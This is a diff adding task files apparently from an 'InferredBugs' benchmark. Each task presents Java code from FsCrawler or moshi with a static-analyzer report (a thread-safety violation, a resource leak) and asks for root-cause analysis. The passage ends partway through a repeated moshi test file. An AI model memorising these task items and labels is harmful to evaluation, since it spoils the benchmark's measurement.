+                        esIndex(esClientManager.bulkProcessorDoc(), fsSettings.getElasticsearch().getIndex(),
+                                generateIdFromFilename(filename, dirname),
+                                XmlDocParser.generate(inputStream),
+                                fsSettings.getElasticsearch().getPipeline());
+                    }
+                }
+            } finally {
+                // Let's close the stream
+                if (inputStream != null) {
+                    inputStream.close();
+                }
+            }
+        }
+
+        private String generateIdFromFilename(String filename, String filepath) throws NoSuchAlgorithmException {
+            return fsSettings.getFs().isFilenameAsId() ? filename : SignTool.sign((new File(filepath, filename)).toString());
+        }
+
+        private String read(InputStream input) throws IOException {
+            try (BufferedReader buffer = new BufferedReader(new InputStreamReader(input, "UTF-8"))) {
+                return buffer.lines().collect(Collectors.joining("\n"));
+            }
+        }
+
+        /**
+         * Index a Path object (AKA a folder) in elasticsearch
+         * @param id    id of the path
+         * @param path  path object
+         * @throws Exception in case of error
+         */
+        private void indexDirectory(String id, fr.pilato.elasticsearch.crawler.fs.beans.Path path) throws Exception {
+            esIndex(esClientManager.bulkProcessorFolder(), fsSettings.getElasticsearch().getIndexFolder(),
+                    id,
+                    PathParser.toJson(path),
+                    null);
+        }
+
+        /**
+         * Index a directory
+         * @param path complete path like /path/to/subdir
+         */
+        private void indexDirectory(String path) throws Exception {
+            fr.pilato.elasticsearch.crawler.fs.beans.Path pathObject = new fr.pilato.elasticsearch.crawler.fs.beans.Path();
+            // The real and complete path
+            pathObject.setReal(path);
+            String rootdir = path.substring(0, path.lastIndexOf(File.separator));
+            // Encoded version of the parent dir
+            pathObject.setRoot(SignTool.sign(rootdir));
+            // The virtual URL (not including the initial root dir)
+            pathObject.setVirtual(computeVirtualPathName(stats.getRootPath(), path));
+
+            indexDirectory(SignTool.sign(path), pathObject);
+        }
+
+        /**
+         * Remove a full directory and sub dirs recursively
+         */
+        private void removeEsDirectoryRecursively(final String path) throws Exception {
+            logger.debug("Delete folder [{}]", path);
+            Collection<String> listFile = getFileDirectory(path);
+
+            for (String esfile : listFile) {
+                esDelete(fsSettings.getElasticsearch().getIndex(), SignTool.sign(path.concat(File.separator).concat(esfile)));
+            }
+
+            Collection<String> listFolder = getFolderDirectory(path);
+            for (String esfolder : listFolder) {
+                removeEsDirectoryRecursively(esfolder);
+            }
+
+            esDelete(fsSettings.getElasticsearch().getIndexFolder(), SignTool.sign(path));
+        }
+
+        /**
+         * Add to bulk an IndexRequest in JSon format
+         */
+        void esIndex(BulkProcessor bulkProcessor, String index, String id, String json, String pipeline) {
+            logger.debug("Indexing {}/doc/{}?pipeline={}", index, id, pipeline);
+            logger.trace("JSon indexed : {}", json);
+
+            if (!closed) {
+                bulkProcessor.add(new IndexRequest(index, "doc", id).source(json, XContentType.JSON).setPipeline(pipeline));
+            } else {
+                logger.warn("trying to add new file while closing crawler. Document [{}]/[doc]/[{}] has been ignored", index, id);
+            }
+        }
+
+        /**
+         * Add to bulk a DeleteRequest
+         */
+        void esDelete(String index, String id) {
+            logger.debug("Deleting {}/doc/{}", index, id);
+            if (!closed) {
+                esClientManager.bulkProcessorDoc().add(new DeleteRequest(index, "doc", id));
+            } else {
+                logger.warn("trying to remove a file while closing crawler. Document [{}]/[doc]/[{}] has been ignored", index, id);
+            }
+        }
+    }
+
+    /**
+     * Check whether the given CharSequence has actual text.
+     * More specifically, returns <code>true</code> if the string not <code>null</code>,
+     * its length is greater than 0, and it contains at least one non-whitespace character.
+     * <p><pre>
+     * StringUtils.hasText(null) = false
+     * StringUtils.hasText("") = false
+     * StringUtils.hasText(" ") = false
+     * StringUtils.hasText("12345") = true
+     * StringUtils.hasText(" 12345 ") = true
+     * </pre>
+     *
+     * @param str the CharSequence to check (may be <code>null</code>)
+     * @return <code>true</code> if the CharSequence is not <code>null</code>,
+     *         its length is greater than 0, and it does not contain whitespace only
+     * @see java.lang.Character#isWhitespace
+     */
+    public static boolean hasText(CharSequence str) {
+        if (!hasLength(str)) {
+            return false;
+        }
+        int strLen = str.length();
+        for (int i = 0; i < strLen; i++) {
+            if (!Character.isWhitespace(str.charAt(i))) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private static boolean hasLength(CharSequence str) {
+        return str != null && str.length() > 0;
+    }
+
+    public int getRunNumber() {
+        return runNumber.get();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `fr.pilato.elasticsearch.crawler.fs.FsCrawlerImpl.start` indirectly writes to field `rest.RestServer.fr.pilato.elasticsearch.crawler.fs.rest.RestServer.httpServer` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void FsCrawlerImpl.start()
+
+### Procedure Id:
+fr.pilato.elasticsearch.crawler.fs.FsCrawlerImpl.start():void.9db512bc716ea5abf40b7d0335c0e9da
+
+### File:
+core/src/main/java/fr/pilato/elasticsearch/crawler/fs/FsCrawlerImpl.java
+
+### Key:
+FsCrawlerImpl.java|start|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+46350f5cb6ba0c549e070102b740a30b
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8551/instruction.md b/inferredbugs-8551/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..faa00cffd994df86bf590446622cc064f147b92b
--- /dev/null
+++ b/inferredbugs-8551/instruction.md
@@ -0,0 +1,408 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** moshi
+**Bug ID:** 16
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (C) 2015 Square, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.squareup.moshi;
+
+import okio.Buffer;
+import org.junit.Test;
+
+import static org.assertj.core.api.Assertions.assertThat;
+import static org.junit.Assert.fail;
+
+public final class PromoteNameToValueTest {
+  @Test public void readerStringValue() throws Exception {
+    JsonReader reader = newReader("{\"a\":1}");
+    reader.beginObject();
+    reader.promoteNameToValue();
+    assertThat(reader.getPath()).isEqualTo("$.a");
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.STRING);
+    assertThat(reader.nextString()).isEqualTo("a");
+    assertThat(reader.getPath()).isEqualTo("$.a");
+    assertThat(reader.nextInt()).isEqualTo(1);
+    assertThat(reader.getPath()).isEqualTo("$.a");
+    reader.endObject();
+    assertThat(reader.getPath()).isEqualTo("$");
+  }
+
+  @Test public void readerIntegerValue() throws Exception {
+    JsonReader reader = newReader("{\"5\":1}");
+    reader.beginObject();
+    reader.promoteNameToValue();
+    assertThat(reader.getPath()).isEqualTo("$.5");
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.STRING);
+    assertThat(reader.nextInt()).isEqualTo(5);
+    assertThat(reader.getPath()).isEqualTo("$.5");
+    assertThat(reader.nextInt()).isEqualTo(1);
+    assertThat(reader.getPath()).isEqualTo("$.5");
+    reader.endObject();
+    assertThat(reader.getPath()).isEqualTo("$");
+  }
+
+  @Test public void readerDoubleValue() throws Exception {
+    JsonReader reader = newReader("{\"5.5\":1}");
+    reader.beginObject();
+    reader.promoteNameToValue();
+    assertThat(reader.getPath()).isEqualTo("$.5.5");
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.STRING);
+    assertThat(reader.nextDouble()).isEqualTo(5.5d);
+    assertThat(reader.getPath()).isEqualTo("$.5.5");
+    assertThat(reader.nextInt()).isEqualTo(1);
+    assertThat(reader.getPath()).isEqualTo("$.5.5");
+    reader.endObject();
+    assertThat(reader.getPath()).isEqualTo("$");
+  }
+
+  @Test public void readerBooleanValue() throws Exception {
+    JsonReader reader = newReader("{\"true\":1}");
+    reader.beginObject();
+    reader.promoteNameToValue();
+    assertThat(reader.getPath()).isEqualTo("$.true");
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.STRING);
+    try {
+      reader.nextBoolean();
+      fail();
+    } catch (JsonDataException e) {
+      assertThat(e).hasMessage("Expected a boolean but was STRING at path $.true");
+    }
+    assertThat(reader.getPath()).isEqualTo("$.true");
+    assertThat(reader.nextString()).isEqualTo("true");
+    assertThat(reader.getPath()).isEqualTo("$.true");
+    assertThat(reader.nextInt()).isEqualTo(1);
+    reader.endObject();
+    assertThat(reader.getPath()).isEqualTo("$");
+  }
+
+  @Test public void readerLongValue() throws Exception {
+    JsonReader reader = newReader("{\"5\":1}");
+    reader.beginObject();
+    reader.promoteNameToValue();
+    assertThat(reader.getPath()).isEqualTo("$.5");
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.STRING);
+    assertThat(reader.nextLong()).isEqualTo(5L);
+    assertThat(reader.getPath()).isEqualTo("$.5");
+    assertThat(reader.nextInt()).isEqualTo(1);
+    assertThat(reader.getPath()).isEqualTo("$.5");
+    reader.endObject();
+    assertThat(reader.getPath()).isEqualTo("$");
+  }
+
+  @Test public void readerNullValue() throws Exception {
+    JsonReader reader = newReader("{\"null\":1}");
+    reader.beginObject();
+    reader.promoteNameToValue();
+    assertThat(reader.getPath()).isEqualTo("$.null");
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.STRING);
+    try {
+      reader.nextNull();
+      fail();
+    } catch (JsonDataException e) {
+      assertThat(e).hasMessage("Expected null but was STRING at path $.null");
+    }
+    assertThat(reader.nextString()).isEqualTo("null");
+    assertThat(reader.getPath()).isEqualTo("$.null");
+    assertThat(reader.nextInt()).isEqualTo(1);
+    assertThat(reader.getPath()).isEqualTo("$.null");
+    reader.endObject();
+    assertThat(reader.getPath()).isEqualTo("$");
+  }
+
+  @Test public void readerMultipleValueObject() throws Exception {
+    JsonReader reader = newReader("{\"a\":1,\"b\":2}");
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("a");
+    assertThat(reader.nextInt()).isEqualTo(1);
+    reader.promoteNameToValue();
+    assertThat(reader.getPath()).isEqualTo("$.b");
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.STRING);
+    assertThat(reader.nextString()).isEqualTo("b");
+    assertThat(reader.getPath()).isEqualTo("$.b");
+    assertThat(reader.nextInt()).isEqualTo(2);
+    assertThat(reader.getPath()).isEqualTo("$.b");
+    reader.endObject();
+    assertThat(reader.getPath()).isEqualTo("$");
+  }
+
+  @Test public void readerEmptyValueObject() throws Exception {
+    JsonReader reader = newReader("{}");
+    reader.beginObject();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_OBJECT);
+    reader.promoteNameToValue();
+    assertThat(reader.getPath()).isEqualTo("$.");
+    reader.endObject();
+    assertThat(reader.getPath()).isEqualTo("$");
+  }
+
+  @Test public void readerUnusedPromotionDoesntPersist() throws Exception {
+    JsonReader reader = newReader("[{},{\"a\":5}]");
+    reader.beginArray();
+    reader.beginObject();
+    reader.promoteNameToValue();
+    reader.endObject();
+    reader.beginObject();
+    try {
+      reader.nextString();
+      fail();
+    } catch (JsonDataException expected) {
+    }
+    assertThat(reader.nextName()).isEqualTo("a");
+  }
+
+  @Test public void readerUnquotedIntegerValue() throws Exception {
+    JsonReader reader = newReader("{5:1}");
+    reader.setLenient(true);
+    reader.beginObject();
+    reader.promoteNameToValue();
+    assertThat(reader.nextInt()).isEqualTo(5);
+    assertThat(reader.nextInt()).isEqualTo(1);
+    reader.endObject();
+  }
+
+  @Test public void readerUnquotedLongValue() throws Exception {
+    JsonReader reader = newReader("{5:1}");
+    reader.setLenient(true);
+    reader.beginObject();
+    reader.promoteNameToValue();
+    assertThat(reader.nextLong()).isEqualTo(5L);
+    assertThat(reader.nextInt()).isEqualTo(1);
+    reader.endObject();
+  }
+
+  @Test public void readerUnquotedDoubleValue() throws Exception {
+    JsonReader reader = newReader("{5:1}");
+    reader.setLenient(true);
+    reader.beginObject();
+    reader.promoteNameToValue();
+    assertThat(reader.nextDouble()).isEqualTo(5d);
+    assertThat(reader.nextInt()).isEqualTo(1);
+    reader.endObject();
+  }
+
+  private JsonReader newReader(String s) {
+    return JsonReader.of(new Buffer().writeUtf8(s));
+  }
+
+  @Test public void writerStringValue() throws Exception {
+    Buffer buffer = new Buffer();
+    JsonWriter writer = JsonWriter.of(buffer);
+    writer.beginObject();
+    writer.promoteNameToValue();
+    writer.value("a");
+    assertThat(writer.getPath()).isEqualTo("$.a");
+    writer.value(1);
+    assertThat(writer.getPath()).isEqualTo("$.a");
+    writer.endObject();
+    assertThat(writer.getPath()).isEqualTo("$");
+    assertThat(buffer.readUtf8()).isEqualTo("{\"a\":1}");
+  }
+
+  @Test public void writerIntegerValue() throws Exception {
+    Buffer buffer = new Buffer();
+    JsonWriter writer = JsonWriter.of(buffer);
+    writer.beginObject();
+    writer.promoteNameToValue();
+    writer.value(5);
+    assertThat(writer.getPath()).isEqualTo("$.5");
+    writer.value(1);
+    assertThat(writer.getPath()).isEqualTo("$.5");
+    writer.endObject();
+    assertThat(writer.getPath()).isEqualTo("$");
+    assertThat(buffer.readUtf8()).isEqualTo("{\"5\":1}");
+  }
+
+  @Test public void writerDoubleValue() throws Exception {
+    Buffer buffer = new Buffer();
+    JsonWriter writer = JsonWriter.of(buffer);
+    writer.beginObject();
+    writer.promoteNameToValue();
+    writer.value(5.5d);
+    assertThat(writer.getPath()).isEqualTo("$.5.5");
+    writer.value(1);
+    assertThat(writer.getPath()).isEqualTo("$.5.5");
+    writer.endObject();
+    assertThat(writer.getPath()).isEqualTo("$");
+    assertThat(buffer.readUtf8()).isEqualTo("{\"5.5\":1}");
+  }
+
+  @Test public void writerBooleanValue() throws Exception {
+    Buffer buffer = new Buffer();
+    JsonWriter writer = JsonWriter.of(buffer);
+    writer.beginObject();
+    writer.promoteNameToValue();
+    try {
+      writer.value(true);
+      fail();
+    } catch (IllegalStateException e) {
+      assertThat(e).hasMessage("Nesting problem.");
+    }
+    writer.value("true");
+    assertThat(writer.getPath()).isEqualTo("$.true");
+    writer.value(1);
+    writer.endObject();
+    assertThat(writer.getPath()).isEqualTo("$");
+    assertThat(buffer.readUtf8()).isEqualTo("{\"true\":1}");
+  }
+
+  @Test public void writerLongValue() throws Exception {
+    Buffer buffer = new Buffer();
+    JsonWriter writer = JsonWriter.of(buffer);
+    writer.beginObject();
+    writer.promoteNameToValue();
+    writer.value(5L);
+    assertThat(writer.getPath()).isEqualTo("$.5");
+    writer.value(1);
+    assertThat(writer.getPath()).isEqualTo("$.5");
+    writer.endObject();
+    assertThat(writer.getPath()).isEqualTo("$");
+    assertThat(buffer.readUtf8()).isEqualTo("{\"5\":1}");
+  }
+
+  @Test public void writerNullValue() throws Exception {
+    Buffer buffer = new Buffer();
+    JsonWriter writer = JsonWriter.of(buffer);
+    writer.beginObject();
+    writer.promoteNameToValue();
+    try {
+      writer.nullValue();
+      fail();
+    } catch (IllegalStateException e) {
+      assertThat(e).hasMessage("Nesting problem.");
+    }
+    writer.value("null");
+    assertThat(writer.getPath()).isEqualTo("$.null");
+    writer.value(1);
+    assertThat(writer.getPath()).isEqualTo("$.null");
+    writer.endObject();
+    assertThat(writer.getPath()).isEqualTo("$");
+    assertThat(buffer.readUtf8()).isEqualTo("{\"null\":1}");
+  }
+
+  @Test public void writerMultipleValueObject() throws Exception {
+    Buffer buffer = new Buffer();
+    JsonWriter writer = JsonWriter.of(buffer);
+    writer.beginObject();
+    writer.name("a");
+    writer.value(1);
+    writer.promoteNameToValue();
+    writer.value("b");
+    assertThat(writer.getPath()).isEqualTo("$.b");
+    writer.value(2);
+    assertThat(writer.getPath()).isEqualTo("$.b");
+    writer.endObject();
+    assertThat(writer.getPath()).isEqualTo("$");
+    assertThat(buffer.readUtf8()).isEqualTo("{\"a\":1,\"b\":2}");
+  }
+
+  @Test public void writerEmptyValueObject() throws Exception {
+    Buffer buffer = new Buffer();
+    JsonWriter writer = JsonWriter.of(buffer);
+    writer.beginObject();
+    writer.promoteNameToValue();
+    assertThat(writer.getPath()).isEqualTo("$.");
+    writer.endObject();
+    assertThat(writer.getPath()).isEqualTo("$");
+    assertThat(buffer.readUtf8()).isEqualTo("{}");
+  }
+
+  @Test public void writerUnusedPromotionDoesntPersist() throws Exception {
+    Buffer buffer = new Buffer();
+    JsonWriter writer = JsonWriter.of(buffer);
+    writer.beginArray();
+    writer.beginObject();
+    writer.promoteNameToValue();
+    writer.endObject();
+    writer.beginObject();
+    try {
+      writer.value("a");
+      fail();
+    } catch (IllegalStateException expected) {
+    }
+    writer.name("a");
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.squareup.moshi.BufferedSourceJsonReader` acquired by call to `newReader(...)` at line 163 is not released after line 170.
+**Note**: potential exception at line 165
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void PromoteNameToValueTest.readerUnquotedIntegerValue()
+
+### Procedure Id:
+com.squareup.moshi.PromoteNameToValueTest.readerUnquotedIntegerValue():void.a71a1173c42447b4e98706eb161565d8
+
+### File:
+moshi/src/test/java/com/squareup/moshi/PromoteNameToValueTest.java
+
+### Key:
+PromoteNameToValueTest.java|readerUnquotedIntegerValue|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+ebde9d9f18e147f0439a2a03c5858074
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8560/instruction.md b/inferredbugs-8560/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..39d3afa20f023712d99a966f7726854f6daa0855
--- /dev/null
+++ b/inferredbugs-8560/instruction.md
@@ -0,0 +1,408 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** moshi
+**Bug ID:** 15
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (C) 2015 Square, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.squareup.moshi;
+
+import okio.Buffer;
+import org.junit.Test;
+
+import static org.assertj.core.api.Assertions.assertThat;
+import static org.junit.Assert.fail;
+
+public final class PromoteNameToValueTest {
+  @Test public void readerStringValue() throws Exception {
+    JsonReader reader = newReader("{\"a\":1}");
+    reader.beginObject();
+    reader.promoteNameToValue();
+    assertThat(reader.getPath()).isEqualTo("$.a");
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.STRING);
+    assertThat(reader.nextString()).isEqualTo("a");
+    assertThat(reader.getPath()).isEqualTo("$.a");
+    assertThat(reader.nextInt()).isEqualTo(1);
+    assertThat(reader.getPath()).isEqualTo("$.a");
+    reader.endObject();
+    assertThat(reader.getPath()).isEqualTo("$");
+  }
+
+  @Test public void readerIntegerValue() throws Exception {
+    JsonReader reader = newReader("{\"5\":1}");
+    reader.beginObject();
+    reader.promoteNameToValue();
+    assertThat(reader.getPath()).isEqualTo("$.5");
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.STRING);
+    assertThat(reader.nextInt()).isEqualTo(5);
+    assertThat(reader.getPath()).isEqualTo("$.5");
+    assertThat(reader.nextInt()).isEqualTo(1);
+    assertThat(reader.getPath()).isEqualTo("$.5");
+    reader.endObject();
+    assertThat(reader.getPath()).isEqualTo("$");
+  }
+
+  @Test public void readerDoubleValue() throws Exception {
+    JsonReader reader = newReader("{\"5.5\":1}");
+    reader.beginObject();
+    reader.promoteNameToValue();
+    assertThat(reader.getPath()).isEqualTo("$.5.5");
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.STRING);
+    assertThat(reader.nextDouble()).isEqualTo(5.5d);
+    assertThat(reader.getPath()).isEqualTo("$.5.5");
+    assertThat(reader.nextInt()).isEqualTo(1);
+    assertThat(reader.getPath()).isEqualTo("$.5.5");
+    reader.endObject();
+    assertThat(reader.getPath()).isEqualTo("$");
+  }
+
+  @Test public void readerBooleanValue() throws Exception {
+    JsonReader reader = newReader("{\"true\":1}");
+    reader.beginObject();
+    reader.promoteNameToValue();
+    assertThat(reader.getPath()).isEqualTo("$.true");
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.STRING);
+    try {
+      reader.nextBoolean();
+      fail();
+    } catch (JsonDataException e) {
+      assertThat(e).hasMessage("Expected a boolean but was STRING at path $.true");
+    }
+    assertThat(reader.getPath()).isEqualTo("$.true");
+    assertThat(reader.nextString()).isEqualTo("true");
+    assertThat(reader.getPath()).isEqualTo("$.true");
+    assertThat(reader.nextInt()).isEqualTo(1);
+    reader.endObject();
+    assertThat(reader.getPath()).isEqualTo("$");
+  }
+
+  @Test public void readerLongValue() throws Exception {
+    JsonReader reader = newReader("{\"5\":1}");
+    reader.beginObject();
+    reader.promoteNameToValue();
+    assertThat(reader.getPath()).isEqualTo("$.5");
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.STRING);
+    assertThat(reader.nextLong()).isEqualTo(5L);
+    assertThat(reader.getPath()).isEqualTo("$.5");
+    assertThat(reader.nextInt()).isEqualTo(1);
+    assertThat(reader.getPath()).isEqualTo("$.5");
+    reader.endObject();
+    assertThat(reader.getPath()).isEqualTo("$");
+  }
+
+  @Test public void readerNullValue() throws Exception {
+    JsonReader reader = newReader("{\"null\":1}");
+    reader.beginObject();
+    reader.promoteNameToValue();
+    assertThat(reader.getPath()).isEqualTo("$.null");
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.STRING);
+    try {
+      reader.nextNull();
+      fail();
+    } catch (JsonDataException e) {
+      assertThat(e).hasMessage("Expected null but was STRING at path $.null");
+    }
+    assertThat(reader.nextString()).isEqualTo("null");
+    assertThat(reader.getPath()).isEqualTo("$.null");
+    assertThat(reader.nextInt()).isEqualTo(1);
+    assertThat(reader.getPath()).isEqualTo("$.null");
+    reader.endObject();
+    assertThat(reader.getPath()).isEqualTo("$");
+  }
+
+  @Test public void readerMultipleValueObject() throws Exception {
+    JsonReader reader = newReader("{\"a\":1,\"b\":2}");
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("a");
+    assertThat(reader.nextInt()).isEqualTo(1);
+    reader.promoteNameToValue();
+    assertThat(reader.getPath()).isEqualTo("$.b");
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.STRING);
+    assertThat(reader.nextString()).isEqualTo("b");
+    assertThat(reader.getPath()).isEqualTo("$.b");
+    assertThat(reader.nextInt()).isEqualTo(2);
+    assertThat(reader.getPath()).isEqualTo("$.b");
+    reader.endObject();
+    assertThat(reader.getPath()).isEqualTo("$");
+  }
+
+  @Test public void readerEmptyValueObject() throws Exception {
+    JsonReader reader = newReader("{}");
+    reader.beginObject();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_OBJECT);
+    reader.promoteNameToValue();
+    assertThat(reader.getPath()).isEqualTo("$.");
+    reader.endObject();
+    assertThat(reader.getPath()).isEqualTo("$");
+  }
+
+  @Test public void readerUnusedPromotionDoesntPersist() throws Exception {
+    JsonReader reader = newReader("[{},{\"a\":5}]");
+    reader.beginArray();
+    reader.beginObject();
+    reader.promoteNameToValue();
+    reader.endObject();
+    reader.beginObject();
+    try {
+      reader.nextString();
+      fail();
+    } catch (JsonDataException expected) {
+    }
+    assertThat(reader.nextName()).isEqualTo("a");
+  }
+
+  @Test public void readerUnquotedIntegerValue() throws Exception {
+    JsonReader reader = newReader("{5:1}");
+    reader.setLenient(true);
+    reader.beginObject();
+    reader.promoteNameToValue();
+    assertThat(reader.nextInt()).isEqualTo(5);
+    assertThat(reader.nextInt()).isEqualTo(1);
+    reader.endObject();
+  }
+
+  @Test public void readerUnquotedLongValue() throws Exception {
+    JsonReader reader = newReader("{5:1}");
+    reader.setLenient(true);
+    reader.beginObject();
+    reader.promoteNameToValue();
+    assertThat(reader.nextLong()).isEqualTo(5L);
+    assertThat(reader.nextInt()).isEqualTo(1);
+    reader.endObject();
+  }
+
+  @Test public void readerUnquotedDoubleValue() throws Exception {
+    JsonReader reader = newReader("{5:1}");
+    reader.setLenient(true);
+    reader.beginObject();
+    reader.promoteNameToValue();
+    assertThat(reader.nextDouble()).isEqualTo(5d);
+    assertThat(reader.nextInt()).isEqualTo(1);
+    reader.endObject();
+  }
+
+  private JsonReader newReader(String s) {
+    return JsonReader.of(new Buffer().writeUtf8(s));
+  }
+
+  @Test public void writerStringValue() throws Exception {
+    Buffer buffer = new Buffer();
+    JsonWriter writer = JsonWriter.of(buffer);
+    writer.beginObject();
+    writer.promoteNameToValue();
+    writer.value("a");
+    assertThat(writer.getPath()).isEqualTo("$.a");
+    writer.value(1);
+    assertThat(writer.getPath()).isEqualTo("$.a");
+    writer.endObject();
+    assertThat(writer.getPath()).isEqualTo("$");
+    assertThat(buffer.readUtf8()).isEqualTo("{\"a\":1}");
+  }
+
+  @Test public void writerIntegerValue() throws Exception {
+    Buffer buffer = new Buffer();
+    JsonWriter writer = JsonWriter.of(buffer);
+    writer.beginObject();
+    writer.promoteNameToValue();
+    writer.value(5);
+    assertThat(writer.getPath()).isEqualTo("$.5");
+    writer.value(1);
+    assertThat(writer.getPath()).isEqualTo("$.5");
+    writer.endObject();
+    assertThat(writer.getPath()).isEqualTo("$");
+    assertThat(buffer.readUtf8()).isEqualTo("{\"5\":1}");
+  }
+
+  @Test public void writerDoubleValue() throws Exception {
+    Buffer buffer = new Buffer();
+    JsonWriter writer = JsonWriter.of(buffer);
+    writer.beginObject();
+    writer.promoteNameToValue();
+    writer.value(5.5d);
+    assertThat(writer.getPath()).isEqualTo("$.5.5");
+    writer.value(1);
+    assertThat(writer.getPath()).isEqualTo("$.5.5");
+    writer.endObject();
+    assertThat(writer.getPath()).isEqualTo("$");
+    assertThat(buffer.readUtf8()).isEqualTo("{\"5.5\":1}");
+  }
+
+  @Test public void writerBooleanValue() throws Exception {
+    Buffer buffer = new Buffer();
+    JsonWriter writer = JsonWriter.of(buffer);
+    writer.beginObject();
+    writer.promoteNameToValue();
+    try {
+      writer.value(true);
+      fail();
+    } catch (IllegalStateException e) {
+      assertThat(e).hasMessage("Nesting problem.");
+    }
+    writer.value("true");
+    assertThat(writer.getPath()).isEqualTo("$.true");
+    writer.value(1);
+    writer.endObject();
+    assertThat(writer.getPath()).isEqualTo("$");
+    assertThat(buffer.readUtf8()).isEqualTo("{\"true\":1}");
+  }
+
+  @Test public void writerLongValue() throws Exception {
+    Buffer buffer = new Buffer();
+    JsonWriter writer = JsonWriter.of(buffer);
+    writer.beginObject();
+    writer.promoteNameToValue();
+    writer.value(5L);
+    assertThat(writer.getPath()).isEqualTo("$.5");
+    writer.value(1);
+    assertThat(writer.getPath()).isEqualTo("$.5");
+    writer.endObject();
+    assertThat(writer.getPath()).isEqualTo("$");
+    assertThat(buffer.readUtf8()).isEqualTo("{\"5\":1}");
+  }
+
+  @Test public void writerNullValue() throws Exception {
+    Buffer buffer = new Buffer();
+    JsonWriter writer = JsonWriter.of(buffer);
+    writer.beginObject();
+    writer.promoteNameToValue();
+    try {
+      writer.nullValue();
+      fail();
+    } catch (IllegalStateException e) {
+      assertThat(e).hasMessage("Nesting problem.");
+    }
+    writer.value("null");
+    assertThat(writer.getPath()).isEqualTo("$.null");
+    writer.value(1);
+    assertThat(writer.getPath()).isEqualTo("$.null");
+    writer.endObject();
+    assertThat(writer.getPath()).isEqualTo("$");
+    assertThat(buffer.readUtf8()).isEqualTo("{\"null\":1}");
+  }
+
+  @Test public void writerMultipleValueObject() throws Exception {
+    Buffer buffer = new Buffer();
+    JsonWriter writer = JsonWriter.of(buffer);
+    writer.beginObject();
+    writer.name("a");
+    writer.value(1);
+    writer.promoteNameToValue();
+    writer.value("b");
+    assertThat(writer.getPath()).isEqualTo("$.b");
+    writer.value(2);
+    assertThat(writer.getPath()).isEqualTo("$.b");
+    writer.endObject();
